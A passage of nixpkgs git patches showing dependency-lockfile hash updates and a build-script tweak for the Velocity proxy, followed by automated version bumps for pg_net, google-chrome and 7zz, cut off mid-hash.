-  "org/apache/ant#ant-launcher/1.10.14": {
-   "jar": "sha256-8JCXJaeiTjk4iPP7tVg0er9QbOL368WB/yYzG5TZUaU=",
-   "pom": "sha256-nJ2qQSPp63BzVnk2UsOIo1UQqqWm0UW0T4VdCN1LK7w="
+  "org/apache/ant#ant-launcher/1.10.15": {
+   "jar": "sha256-XIVRmQMHoDIzbZjdrtVJo5ponwfU1Ma5UGAb8is9ahs=",
+   "pom": "sha256-ea+EKil53F/gAivAc8SYgQ7q2DvGKD7t803E3+MNrJU="
   },
-  "org/apache/ant#ant-parent/1.10.14": {
-   "pom": "sha256-CBYQamBniMJw767yFWLPy9j0uvfafBG85RSetWYbMx8="
+  "org/apache/ant#ant-parent/1.10.15": {
+   "pom": "sha256-SYhPGHPFEHzCN/QoXER3R5uwgEvwc3OUgBsI114rvrA="
   },
-  "org/apache/ant#ant/1.10.14": {
-   "jar": "sha256-TLvZJD3kwQQtYdmhXbTEPJD/k7FteLOUgdoclWyOlnE=",
-   "pom": "sha256-L6QmnmscRXI6iojmnZhKdm27IEzQ/pgUlMzfP+469lw="
+  "org/apache/ant#ant/1.10.15": {
+   "jar": "sha256-djrNpKaViMnqiBepUoUf8ML8S/+h0IHCVl3EB/KdV5Q=",
+   "pom": "sha256-R4DmHoeBbu4fIdGE7Jl7Zfk9tfS5BCwXitsp4j50JdY="
   },
   "org/apache/commons#commons-parent/39": {
    "pom": "sha256-h80n4aAqXD622FBZzphpa7G0TCuLZQ8FZ8ht9g+mHac="
@@ -879,8 +947,8 @@
   "org/apache/commons#commons-parent/58": {
    "pom": "sha256-LUsS4YiZBjq9fHUni1+pejcp2Ah4zuy2pA2UbpwNVZA="
   },
-  "org/apache/commons#commons-parent/65": {
-   "pom": "sha256-bPNJX8LmrJE6K38uA/tZCPs/Ip+wbTNY3EVnjVrz424="
+  "org/apache/commons#commons-parent/74": {
+   "pom": "sha256-gOthsMh/3YJqBpMTsotnLaPxiFgy2kR7Uebophl+fss="
   },
   "org/apache/groovy#groovy-bom/4.0.22": {
    "module": "sha256-Ul0/SGvArfFvN+YAL9RlqygCpb2l9MZWf778copo5mY=",
@@ -907,52 +975,49 @@
    "jar": "sha256-8r8vLHdyFpyeMGmXGWZ60w+bRsTp14QZB96y0S2ZI/4=",
    "pom": "sha256-f8K4BFgJ8/J6ydTZ6ZudNGIbY3HPk8cxPs2Epa8Om64="
   },
-  "org/apache/logging#logging-parent/10.5.0": {
-   "pom": "sha256-ngk5zAKXfp/1KOdmBj4PMiTTbok7pMkh8JINtI86xqk="
-  },
   "org/apache/logging#logging-parent/11.3.0": {
    "pom": "sha256-pcmFtW/hxYQzOTtQkabznlufeFGN2PySE0aQWZtk19A="
   },
-  "org/apache/logging/log4j#log4j-api/2.22.1": {
-   "jar": "sha256-XXvq5/8V2FFtZRcSHX8Sp5pqwYDfZLX87FXVviEFblM=",
-   "pom": "sha256-bVdUd3E5Sz7hj57T7/ohWXGeLzY0Ynhj0FAjup/Y4Ys="
-  },
   "org/apache/logging/log4j#log4j-api/2.24.1": {
    "jar": "sha256-bne7Ip/I3K8JA4vutekDCyLp4BtRtFiwGDzmaevMku8=",
    "pom": "sha256-IzAaISnUEAiZJfSvQa7LUlhKPcxFJoI+EyNOyst+c+M="
   },
-  "org/apache/logging/log4j#log4j-bom/2.22.1": {
-   "pom": "sha256-nxUjceNriy6m6yyb0YgnYAafNhgKbygXfmpIwoFMDyM="
+  "org/apache/logging/log4j#log4j-api/2.24.3": {
+   "jar": "sha256-W0oKDNDnUd7UMcFiRCvb3VMyjR+Lsrrl/Bu+7g9m2A8=",
+   "pom": "sha256-vAXeM1M6Elmtusv8yCbNZjdqLZxO5T+4NgCfRKRbgjk="
   },
   "org/apache/logging/log4j#log4j-bom/2.24.1": {
    "pom": "sha256-vGPPsrS5bbS9cwyWLoJPtpKMuEkCwUFuR3q1y3KwsNM="
   },
-  "org/apache/logging/log4j#log4j-core/2.22.1": {
-   "jar": "sha256-RtzOysVWYj2OLOhkhJaCSoKVHROQYqTmEUiv8aJe0Y0=",
-   "pom": "sha256-HPf2SP7UPwv6wzKNk/yCPHSZB4/XkE4YtlSbsQeKnFI="
+  "org/apache/logging/log4j#log4j-bom/2.24.3": {
+   "pom": "sha256-sXq38yj0WGt+cfjJT8NaXaK86AcFpdYwBAIsGSiDNVg="
   },
   "org/apache/logging/log4j#log4j-core/2.24.1": {
    "jar": "sha256-ALzziEcsqApocBQYF2O2bXdxd/Isu/F5/WDhsaybybA=",
    "pom": "sha256-JyQstBek3xl47t/GlYtFyJgg+WzH9NFtH0gr/CN24M0="
   },
-  "org/apache/logging/log4j#log4j-iostreams/2.24.1": {
-   "jar": "sha256-oPXv2zMWaqrvEs1U+bXKlA1/oXV113BVD4KPMnAu+H4=",
-   "pom": "sha256-trWodrJTUpAmlQNSQxFnfefgkum9GfwgKWsKOYHD918="
+  "org/apache/logging/log4j#log4j-core/2.24.3": {
+   "jar": "sha256-frQIRZauJb08YWmOSOjQq2WpJgdYiE7Vy7nG5VxEpWo=",
+   "pom": "sha256-v9XAxKrGECQsy2H/ABCK1zeA2iCi9ym+Bjg2qXZXf1c="
   },
-  "org/apache/logging/log4j#log4j-jul/2.24.1": {
-   "jar": "sha256-7Rj4dHi+aaLXYKKJVmdkX/LAvry2xJQGeaSfRYi44FE=",
-   "pom": "sha256-mwbQSbyXT+bSXCcutp94QhoQeW6A6PnDl8lxtjFXjRw="
+  "org/apache/logging/log4j#log4j-iostreams/2.24.3": {
+   "jar": "sha256-Vv6AD/RhVeY2DfFxUOhpud49NUltsu/2QRWp0NvDGG8=",
+   "pom": "sha256-EcMCVtRz/apOYTuUqYoeVsLGAhYY2TK/Iqujeb4w4Co="
   },
-  "org/apache/logging/log4j#log4j-slf4j2-impl/2.24.1": {
-   "jar": "sha256-ZEtuPwxA5WmeoMoBOESxOK9EBWHSciZnLoC3qh/fwVY=",
-   "pom": "sha256-dip5v73nPP9Pmc6Gy2ar3w4S9c+K/5eefTe2XVVzb8Q="
+  "org/apache/logging/log4j#log4j-jul/2.24.3": {
+   "jar": "sha256-52uSXNbnCoI2SoBZ4G2zAxK3Ron/RlAQSnVbr/k3ENU=",
+   "pom": "sha256-c2tbLEv0UUuqrO+h27sGUF+gigliEHMv7roDMvY8sic="
   },
-  "org/apache/logging/log4j#log4j/2.22.1": {
-   "pom": "sha256-7Zibb7CaJW69TP3MIZaIuhw9beS087UUVC0WVj3CkJc="
+  "org/apache/logging/log4j#log4j-slf4j2-impl/2.24.3": {
+   "jar": "sha256-zarCLkDsMMQJbh6+jEVMiCbA0cN419tdezrRZjVLC9M=",
+   "pom": "sha256-fMloVddd24RWLjUHM0kF0NNTDECttyCAGTmIHgk3OKM="
   },
   "org/apache/logging/log4j#log4j/2.24.1": {
    "pom": "sha256-+NcAm1Rl2KhT0QuEG8Bve3JnXwza71OoDprNFDMkfto="
   },
+  "org/apache/logging/log4j#log4j/2.24.3": {
+   "pom": "sha256-wUG0hj/AzqtYOJShPh+eUsAfwtdYcn1nR/a5nVBA87E="
+  },
   "org/apache/maven#maven-api-meta/4.0.0-alpha-9": {
    "jar": "sha256-MsT1yturaAw0lS+ctXBFehODzOxMmlewOSYH1xkcaUk=",
    "pom": "sha256-2ePDXW/aysuNGLn2QoYJDH/65yjWbLJq9aJmgZUNvnk="
@@ -1013,9 +1078,6 @@
   "org/codehaus#codehaus-parent/4": {
    "pom": "sha256-a4cjfejC4XQM+AYnx/POPhXeGTC7JQxVoeypT6PgFN8="
   },
-  "org/codehaus/groovy#groovy-bom/3.0.19": {
-   "pom": "sha256-E+POc+1L+fxu4rVA2FVWh/astwf4SSOUFMgnfUMd7KE="
-  },
   "org/codehaus/mojo#animal-sniffer-annotations/1.14": {
    "jar": "sha256-IGgyC9a610TDZzqwSPZ+ML749RiZb6OAAzVWYAZpkF0=",
    "pom": "sha256-GHnxmgWZHj7ZWRC5ZokzM5awxGeiFdxNH5ABhAS3KiY="
@@ -1036,19 +1098,16 @@
   "org/codehaus/mojo#mojo-parent/40": {
    "pom": "sha256-/GSNzcQE+L9m4Fg5FOz5gBdmGCASJ76hFProUEPLdV4="
   },
-  "org/codehaus/plexus#plexus-utils/4.0.0": {
-   "jar": "sha256-JwzXA7SMblyMaR8YdfItYtIs/gcsc64vWBTYPWjB2gs=",
-   "pom": "sha256-pExUeUJt6g57//0uw630nGhRUBl4iWXE0jH8PwTaQSk="
+  "org/codehaus/plexus#plexus-utils/4.0.2": {
+   "jar": "sha256-iVcnTnX+LCeLFCjdFqDa7uHdOBUstu/4Fhd6wo/Mtpc=",
+   "pom": "sha256-UVHBO918w6VWlYOn9CZzkvAT/9MRXquNtfht5CCjZq8="
   },
-  "org/codehaus/plexus#plexus-xml/4.0.3": {
-   "jar": "sha256-eqWeb9aTuGF8hydq7KnnoUmhC9qWB4iJO5TYpUcDc/c=",
-   "pom": "sha256-JzxQW2WJJwZxENYbbo/hL8tzcPVZgMk7r+lc4Lgt0FY="
+  "org/codehaus/plexus#plexus-xml/4.0.4": {
+   "jar": "sha256-Bp54tTcQjcYSSmcHP8mYJkeR9rZJnpVaOOcrs+T+Gt8=",
+   "pom": "sha256-Ohb3yn7CRzFFtGHgpylREI1H4SThjIRMCFsaY3jGEVE="
   },
-  "org/codehaus/plexus#plexus/13": {
-   "pom": "sha256-V1lF3AiWbGbrA9W66RNb0iyjkgoYZbuZ0+zZO+9Vq9M="
-  },
-  "org/codehaus/plexus#plexus/16": {
-   "pom": "sha256-aNTu1lo9u8NC7YDdE4++nGfLf7TCq8T1IBzbW59kWGg="
+  "org/codehaus/plexus#plexus/18": {
+   "pom": "sha256-tD7onIiQueW8SNB5/LTETwgrUTklM1bcRVgGozw92P0="
   },
   "org/codehaus/woodstox#stax2-api/4.2.1": {
    "jar": "sha256-Z4Vn5ItRpCxlxpnyZlOa09Z21LGlsK19iezoudV3JXk=",
@@ -1060,12 +1119,16 @@
   "org/eclipse/ee4j#project/1.0.7": {
    "pom": "sha256-IFwDmkLLrjVW776wSkg+s6PPlVC9db+EJg3I8oIY8QU="
   },
-  "org/eclipse/jetty#jetty-bom/9.4.53.v20231009": {
-   "pom": "sha256-+vlzoZh0JmzQhlsCmeup8WfLsHB13U/tvj1hVjV+ndU="
+  "org/eclipse/jgit#org.eclipse.jgit-parent/5.13.0.202109080827-r": {
+   "pom": "sha256-oY/X0MQf2o2PHEoktQAKhmRWFHokdG7mzEcx54ihje4="
   },
   "org/eclipse/jgit#org.eclipse.jgit-parent/6.7.0.202309050840-r": {
    "pom": "sha256-u56FQW2Y0HMfx2f41w6EaAQWAdZnKuItsqx5n3qjkR8="
   },
+  "org/eclipse/jgit#org.eclipse.jgit/5.13.0.202109080827-r": {
+   "jar": "sha256-2r+DafDN+M8Xt/faS9qTIMVwu3VMiOC+t7hSgSz1zSU=",
+   "pom": "sha256-qEF3Rc+i2V1qlxHpQT/KmE/FZmt2J7rRVAzyfUYq6BM="
+  },
   "org/eclipse/jgit#org.eclipse.jgit/6.7.0.202309050840-r": {
    "jar": "sha256-tWRHfQkiQaqrUMhKxd0aw3XAGCBE1+VlnTpgqQ4ugBo=",
    "pom": "sha256-BNB83b8ZjfpuRIuan7lA94HAEq2T2eqCBv4KTTplwZI="
@@ -1077,9 +1140,9 @@
   "org/fusesource#fusesource-pom/1.12": {
    "pom": "sha256-xA2WDarc73sBwbHGZXr7rE//teUxaPj8sLKLhOb9zKE="
   },
-  "org/fusesource/jansi#jansi/2.4.1": {
-   "jar": "sha256-Ll53Wp3Fj/prvWqm8JnWL4ti3N60w8O7vlzyMBvC3ME=",
-   "pom": "sha256-P5jZeaTTVZ+HefuwBLNK51Fq+t9RDhHffMPNBz6xuzs="
+  "org/fusesource/jansi#jansi/2.4.2": {
+   "jar": "sha256-C3uLADqQ6kkVebYvURiCjkURKRTGVYmwD6pJ1ux4WDk=",
+   "pom": "sha256-Lory+B0MmVUIvWfJid4ewhbrakdgk/WY9CFOz2ESjfA="
   },
   "org/javassist#javassist/3.28.0-GA": {
    "jar": "sha256-V9Cp6ShvgvTqqFESUYaZf4Eb784OIGD/ChWnf1qd2ac=",
@@ -1212,31 +1275,28 @@
    "module": "sha256-DZTIpBSD58Jwfr1pPhsTV6hBUpmM6FVQ67xUykMho6c=",
    "pom": "sha256-Cdlg+FkikDwuUuEmsX6fpQILQlxGnsYZRLPAGDVUciQ="
   },
-  "org/jline#jline-native/3.27.1": {
-   "jar": "sha256-Y2ZG2kBBPnSWOz9LQMnF3PtC89Ds8bk9bd9ciV7/5CI=",
-   "pom": "sha256-n/4orsyfVG7JaV8tUh9nRZtLNpFxSMCNFvRVazg9Mo8="
+  "org/jline#jline-native/3.30.2": {
+   "jar": "sha256-b6b1DhFWEJNMs/1CO0Mab9+QAGUunHg0+0gTMSnkUTM=",
+   "pom": "sha256-Nf+jS0HVcYVpXIW6KxEjx/+tOCf4HVNSlq2oolecl0E="
   },
   "org/jline#jline-parent/3.20.0": {
    "pom": "sha256-cXjGACAsS8Jux6S2IlXu829wVsrSpeYjnFdL7qXCEMo="
   },
-  "org/jline#jline-parent/3.27.1": {
-   "pom": "sha256-6WT9B2wgziTdtI3XN6CNYFA0cAXj5u7IL/XrBD1WFYE="
-  },
   "org/jline#jline-reader/3.20.0": {
    "jar": "sha256-rNHJTR4iiqe3li9psh7Tqf2CjrOmPkuvkIaVTmJq8fA=",
    "pom": "sha256-2fF+3XIcAqExcgN21sB4eHgutrb6/rX/QkBKtXFD4TY="
   },
-  "org/jline#jline-terminal-jansi/3.27.1": {
-   "jar": "sha256-mWvM6OpUHXH3Du3/+dEHpIJ39lVzReIdHzDGDmZIRnQ=",
-   "pom": "sha256-XWrgbTzxQG2C+kk2K8yZxImpu4l3c9baUiJnTT+K/+g="
+  "org/jline#jline-terminal-jansi/3.30.2": {
+   "jar": "sha256-AXOC7/q4HAn4O0Ecic4gPzLQWR2t4KjYygUTmqThtDI=",
+   "pom": "sha256-cb0W3CMPlL82lQ4md+JKSF0kv59UoWCyfx/SkqqeaB4="
   },
   "org/jline#jline-terminal/3.20.0": {
    "jar": "sha256-EhJRcOeVUZum3IAQwHC1PHaq6StIXB43Uw5Uq13QjUM=",
    "pom": "sha256-EMo7z1F48YUH8hCmOtljeJaFM0OtHBKRoBmhFvIWpUg="
   },
-  "org/jline#jline-terminal/3.27.1": {
-   "jar": "sha256-Qre3VlBrypi1BZOEJqNcmQgveBnDM+0lvUEUv7DjtfI=",
-   "pom": "sha256-hHjnmqIupq95eWRD+O0w//pdxkfrPS0YYLrC4j800pc="
+  "org/jline#jline-terminal/3.30.2": {
+   "jar": "sha256-HqoUwqI6kVMxzNTqp11iTCN/sMoNI6UHgQt/kYFhCgw=",
+   "pom": "sha256-RGzvv38zbLWZGzML8w9v5NP6g0OGLGp8MjCl33sePvc="
   },
   "org/jspecify#jspecify/0.3.0": {
    "module": "sha256-M7jCLyQkwpAyQaf+olj8QasMTWiJd2V2xRkEdWLuQ6U=",
@@ -1259,6 +1319,10 @@
    "module": "sha256-qnlAydaDEuOdiaZShaqa9F8U2PQ02FDujZPbalbRZ7s=",
    "pom": "sha256-EJN9RMQlmEy4c5Il00cS4aMUVkHKk6w/fvGG+iX2urw="
   },
+  "org/junit#junit-bom/5.11.0": {
+   "module": "sha256-9+2+Z/IgQnCMQQq8VHQI5cR29An1ViNqEXkiEnSi7S0=",
+   "pom": "sha256-5nRZ1IgkJKxjdPQNscj0ouiJRrNAugcsgL6TKivkZE0="
+  },
   "org/junit#junit-bom/5.9.1": {
    "module": "sha256-kCbBZWaQ+hRa117Og2dCEaoSrYkwqRsQfC9c3s4vGxw=",
    "pom": "sha256-sWPBz8j8H9WLRXoA1YbATEbphtdZBOnKVMA6l9ZbSWw="
@@ -1297,6 +1361,11 @@
    "module": "sha256-4dG63P7cJyRFQeC+XV6EtyoicNevYWhrJvEc/Edw2kI=",
    "pom": "sha256-EqqGyhwNZIoiXU58aWBUwfx26IeCxcOft983muI7728="
   },
+  "org/junit/platform#junit-platform-launcher/1.10.2": {
+   "jar": "sha256-rtT0L7kK2ps0fCMfE2VvwJEhuiDattxkamvZ1Nox5Ko=",
+   "module": "sha256-/1YhIQJQJSv9rbYiu+LqZuzsMahnc2zqSz1K3yGcp/8=",
+   "pom": "sha256-WjEXCOeQa7l0YpwayHC8EWV0ZbmJ2koHfkVBa9mHJeQ="
+  },
   "org/lanternpowered#lmbda/2.0.0": {
    "jar": "sha256-v7mL90YQgkvVbhDYJSM6Zg66M7qRXPlHJGJX9QPadfM=",
    "pom": "sha256-KRybm3znFPdLpG0zsmSEpYS+NPXHXGyTDsIF8iGbVfg="
@@ -1326,53 +1395,60 @@
   "org/ow2#ow2/1.5.1": {
    "pom": "sha256-Mh3bt+5v5PU96mtM1tt0FU1r+kI5HB92OzYbn0hazwU="
   },
-  "org/ow2/asm#asm-commons/9.6": {
-   "jar": "sha256-eu/Q1cCQFwHGn3UT/tp2X7a+M68s56oXxXgfyHZXxRE=",
-   "pom": "sha256-qYrkiVM0uvj/hr1mUWIQ29mgPxpuFeR92oKvz2tT13w="
+  "org/ow2/asm#asm-commons/9.7.1": {
+   "jar": "sha256-mlebVNKSrZvhcdQxP9RznGNVksK1rDpFm70QSc3exqA=",
+   "pom": "sha256-C/HTHaDJ+djtwvJ9u/279z8acVtyzS+ijz8ZWZTXStE="
   },
-  "org/ow2/asm#asm-tree/9.6": {
-   "jar": "sha256-xD7PF7U5x3fhXae1uGVTs3fi05poPeYoVWfVKDiI5+8=",
-   "pom": "sha256-G8tIHX/Ba5VbtgygfIz6JCS87ni9xAW7oxx9b13C0RM="
-  },
-  "org/ow2/asm#asm/9.6": {
-   "jar": "sha256-PG+sJCTbPUqFO2afTj0dnDxVIjXhmjGWc/iHCDwjA6E=",
-   "pom": "sha256-ku7iS8PIQ+SIHUbB3WUFRx7jFC+s+0ZrQoz+paVsa2A="
+  "org/ow2/asm#asm-tree/9.7.1": {
+   "jar": "sha256-mSmIH1nra4QOhtVFcMd7Wc5yHRBObf16QJeJkcLTtB8=",
+   "pom": "sha256-E7kF9l5/1DynZ09Azao3Z5ukhYxsnZ+48Xp6/ZuqvJ4="
   },
   "org/ow2/asm#asm/9.7.1": {
    "jar": "sha256-jK3UOsXrbQneBfrsyji5F6BAu5E5x+3rTMgcdAtxMoE=",
    "pom": "sha256-cimwOzCnPukQCActnkVppR2FR/roxQ9SeEGu9MGwuqg="
   },
+  "org/ow2/asm#asm/9.8": {
+   "jar": "sha256-h26raoPa7K1cpn65/KuwY8l7WuuM8fynqYns3hdSIFE=",
+   "pom": "sha256-wTZ8O7OD12Gef3l+ON91E4hfLu8ErntZCPaCImV7W6o="
+  },
   "org/reflections#reflections/0.10.2": {
    "jar": "sha256-k4otCP5UBQ12ELlE2N3DoJNVcQ2ea+CqyDjbwE6aKCU=",
    "pom": "sha256-tsqj6301vXVu1usKKoGGi408D29CJE/q5BdgrGYwbYc="
   },
+  "org/slf4j#slf4j-api/1.7.30": {
+   "jar": "sha256-zboHlk0btAoHYUhcax6ML4/Z6x0ZxTkorA1/lRAQXFc=",
+   "pom": "sha256-fgdHdR6bZ+Gdy1IG8E6iLMA9JQxCJCZALq3QNRPywxQ="
+  },
   "org/slf4j#slf4j-api/1.7.36": {
    "jar": "sha256-0+9XXj5JeWeNwBvx3M5RAhSTtNEft/G+itmCh3wWocA=",
    "pom": "sha256-+wRqnCKUN5KLsRwtJ8i113PriiXmDL0lPZhSEN7cJoQ="
   },
-  "org/slf4j#slf4j-api/2.0.12": {
-   "jar": "sha256-p5UCuKvfvXIoRqJ2kSJqQIhoLW01ZU+bgOKpzKz37Uc=",
-   "pom": "sha256-Udh5pZmPWCJ0Dc9VIsDtaXGtXEpeowtw9bVGCT5rQmM="
-  },
   "org/slf4j#slf4j-api/2.0.16": {
    "jar": "sha256-oSV43eG6AL2bgW04iguHmSjQC6s8g8JA9wE79BlsV5o=",
    "pom": "sha256-saAPWxxNvmK4BdZdI5Eab3cGOInXyx6G/oOJ1hkEc/c="
   },
-  "org/slf4j#slf4j-bom/2.0.12": {
-   "pom": "sha256-SH70mE1wFY9Yw3zodmkxukx+VzdYZYhLdWORv9bQDDk="
+  "org/slf4j#slf4j-api/2.0.17": {
+   "jar": "sha256-e3UdlSBhlU1av+1xgcH2RdM2CRtnmJFZHWMynGIuuDI=",
+   "pom": "sha256-FQxAKH987NwhuTgMqsmOkoxPM8Aj22s0jfHFrJdwJr8="
   },
   "org/slf4j#slf4j-bom/2.0.16": {
    "pom": "sha256-BWYEjsglzfKHWGIK9k2eFK44qc2HSN1vr6bfSkGUwnk="
   },
+  "org/slf4j#slf4j-bom/2.0.17": {
+   "pom": "sha256-940ntkK0uIbrg5/BArXNn+fzDzdZn/5oGFvk4WCQMek="
+  },
+  "org/slf4j#slf4j-parent/1.7.30": {
+   "pom": "sha256-EWR5VuSKDFv7OsM/bafoPzQQAraFfv0zWlBbaHvjS3U="
+  },
   "org/slf4j#slf4j-parent/1.7.36": {
    "pom": "sha256-uziNN/vN083mTDzt4hg4aTIY3EUfBAQMXfNgp47X6BI="
   },
-  "org/slf4j#slf4j-parent/2.0.12": {
-   "pom": "sha256-fGvEdX5NSZJN3w/sX1zkAvg6bGzz4QUtGVsSgqeFVd4="
-  },
   "org/slf4j#slf4j-parent/2.0.16": {
    "pom": "sha256-CaC0zIFNcnRhbJsW1MD9mq8ezIEzNN5RMeVHJxsZguU="
   },
+  "org/slf4j#slf4j-parent/2.0.17": {
+   "pom": "sha256-lc1x6FLf2ykSbli3uTnVfsKy5gJDkYUuC1Rd7ggrvzs="
+  },
   "org/sonatype/oss#oss-parent/5": {
    "pom": "sha256-FnjUEgpYXYpjATGu7ExSTZKDmFg7fqthbufVqH9SDT0="
   },
@@ -1430,9 +1506,9 @@
    "jar": "sha256-IRswbPxE+Plt86Cj3a91uoxSie7XfWDXL4ibuFX1NeU=",
    "pom": "sha256-CTvhsDMxvOKTLWglw36YJy12Ieap6fuTKJoAJRi43Vo="
   },
-  "org/vafer#jdependency/2.10": {
-   "jar": "sha256-Hc2DVauevO1odxW/ElLrKu5dDnRJeiAU/TOHz86N+F8=",
-   "pom": "sha256-q1PyWatfZIPT27AjVGngeNSiLP2JB3GrBPh9s6W0YGc="
+  "org/vafer#jdependency/2.12": {
+   "jar": "sha256-xuxNA/nwT7ZEjTavQ6HMBpoh7LXocBM90Y/tT02x3mg=",
+   "pom": "sha256-LY6Zq9RS9eZCxtK74xACuSh5naw6CeA+PknyE3ozt+s="
   },
   "org/xmlresolver#xmlresolver/5.1.1": {
    "jar": "sha256-MSL4rkDERq27MDzVUldoA/2/bq77hL985D0TNlsnymg=",
diff --git a/pkgs/by-name/ve/velocity/fix-version.patch b/pkgs/by-name/ve/velocity/fix-version.patch
index 8c768fe863ef..280368338fbe 100644
--- a/pkgs/by-name/ve/velocity/fix-version.patch
+++ b/pkgs/by-name/ve/velocity/fix-version.patch
@@ -1,11 +1,12 @@
 --- a/build-logic/src/main/kotlin/velocity-init-manifest.gradle.kts
 +++ b/build-logic/src/main/kotlin/velocity-init-manifest.gradle.kts
-@@ -2,28 +2,9 @@ import org.gradle.jvm.tasks.Jar
- import org.gradle.kotlin.dsl.withType
- import java.io.ByteArrayOutputStream
+@@ -8,29 +8,10 @@ interface Injected {
+     val execOps: ExecOperations
+ }
  
 -val currentShortRevision = ByteArrayOutputStream().use {
--    exec {
+-    val execOps = objects.newInstance<Injected>().execOps
+-    execOps.exec {
 -        executable = "git"
 -        args = listOf("rev-parse", "HEAD")
 -        standardOutput = it
@@ -15,7 +16,7 @@
 -
  tasks.withType<Jar> {
      manifest {
--        val buildNumber = System.getenv("BUILD_NUMBER")
+         val buildNumber = System.getenv("BUILD_NUMBER")
 -        val velocityHumanVersion: String =
 -            if (project.version.toString().endsWith("-SNAPSHOT")) {
 -                if (buildNumber == null) {
@@ -26,7 +27,7 @@
 -            } else {
 -                archiveVersion.get()
 -            }
-+        val velocityHumanVersion = System.getenv("BUILD_VERSION")
++        val velocityHumanVersion = System.getenv("BUILD_VERSION");
          attributes["Implementation-Version"] = velocityHumanVersion
      }
  }
diff --git a/pkgs/by-name/ve/velocity/package.nix b/pkgs/by-name/ve/velocity/package.nix
index 3df1e5d94d65..447c9f4e68f0 100644
--- a/pkgs/by-name/ve/velocity/package.nix
+++ b/pkgs/by-name/ve/velocity/package.nix
@@ -35,13 +35,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "velocity";
-  version = "3.4.0-unstable-2025-06-11";
+  version = "3.4.0-unstable-2025-08-02";
 
   src = fetchFromGitHub {
     owner = "PaperMC";
     repo = "Velocity";
-    rev = "669fda298c670c55686f34d868383052b192518d";
-    hash = "sha256-UI6SqVAaM4NANf9cGvsIgYO1jSkWDOk5ysyufrPWTgg=";
+    rev = "d47848cb93a5f94a95059c2794c0197df6360f29";
+    hash = "sha256-bCvUXWv4rdoZEU1GpVSlXROC9kBtSGisvmCgRPKVZ4o=";
   };
 
   nativeBuildInputs = [

From 1910b6d3138ca601d37913f71e593c4f06d185e7 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 10 Aug 2025 14:48:04 +0000
Subject: [PATCH 3407/4511] postgresqlPackages.pg_net: 0.19.4 -> 0.19.5

(cherry picked from commit d23fa320a4ea66e71b0343876ff5915b2324d396)
---
 pkgs/servers/sql/postgresql/ext/pg_net.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pg_net.nix b/pkgs/servers/sql/postgresql/ext/pg_net.nix
index af3745667aec..7c006b68b24f 100644
--- a/pkgs/servers/sql/postgresql/ext/pg_net.nix
+++ b/pkgs/servers/sql/postgresql/ext/pg_net.nix
@@ -8,13 +8,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pg_net";
-  version = "0.19.4";
+  version = "0.19.5";
 
   src = fetchFromGitHub {
     owner = "supabase";
     repo = "pg_net";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-uHsfRQ5RKhTvqokF94s/RzTQ23BRTBV+yyIW41Djjgo=";
+    hash = "sha256-Cpi2iASi1QJoED0Qs1dANqg/BNZTsz5S+pw8iYyW03Y=";
   };
 
   buildInputs = [ curl ];

From 3871b622bdb1647db1f7b552f45dd620ec7f236e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 10 Aug 2025 17:02:08 +0000
Subject: [PATCH 3408/4511] google-chrome: 138.0.7204.183 -> 139.0.7258.66

(cherry picked from commit 29cf5a68873e29dda61efcf6fe508e5987e48984)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index 78fa8850ee98..bd8778ecc1d3 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -170,11 +170,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "138.0.7204.183";
+    version = "139.0.7258.66";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-GxdfHU6pskOL0i/rmN7kwGsuLYTotL1mEw6RV7qfl50=";
+      hash = "sha256-DY1hFlYKVSWRYuK1DGaqxr4x+kEmXnr/GsKBC39rCxk=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -275,11 +275,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "138.0.7204.184";
+    version = "139.0.7258.67";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/acvbvqaeyyrjo6kygs27pc5y27ea_138.0.7204.184/GoogleChrome-138.0.7204.184.dmg";
-      hash = "sha256-KM9fK5zaXNCdVfCRN9b0RxIvH7VxCln4Eo9YgOEd8PY=";
+      url = "http://dl.google.com/release2/chrome/l4kjdkw5j5zarcsucmoo3n4idi_139.0.7258.67/GoogleChrome-139.0.7258.67.dmg";
+      hash = "sha256-IfJlHRpMZy1DFmOC6yZ5dphchdOSvUYf7s3+ngQ7pL4=";
     };
 
     dontPatch = true;

From e5546cbb53d8c8efea833185b54775eb77f014a7 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 3 Aug 2025 18:52:49 +0000
Subject: [PATCH 3409/4511] _7zz: 25.00 -> 25.01

(cherry picked from commit fcf82c51ca478ad825546d33d7026cc39c4566c4)
---
 pkgs/by-name/_7/_7zz/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/_7/_7zz/package.nix b/pkgs/by-name/_7/_7zz/package.nix
index 043421c8ed2b..92046d284b1c 100644
--- a/pkgs/by-name/_7/_7zz/package.nix
+++ b/pkgs/by-name/_7/_7zz/package.nix
@@ -28,14 +28,14 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "7zz";
-  version = "25.00";
+  version = "25.01";
 
   src = fetchzip {
     url = "https://7-zip.org/a/7z${lib.replaceStrings [ "." ] [ "" ] finalAttrs.version}-src.tar.xz";
     hash =
       {
-        free = "sha256-YY2Nw1aeQjXay9IEd4SwuhgqzeK95nH4nlZGwAlud6o=";
-        unfree = "sha256-gwC/5OkIAHp0OHJWhwD7JpJVSx06oCFs1Ndf+iG5qB8=";
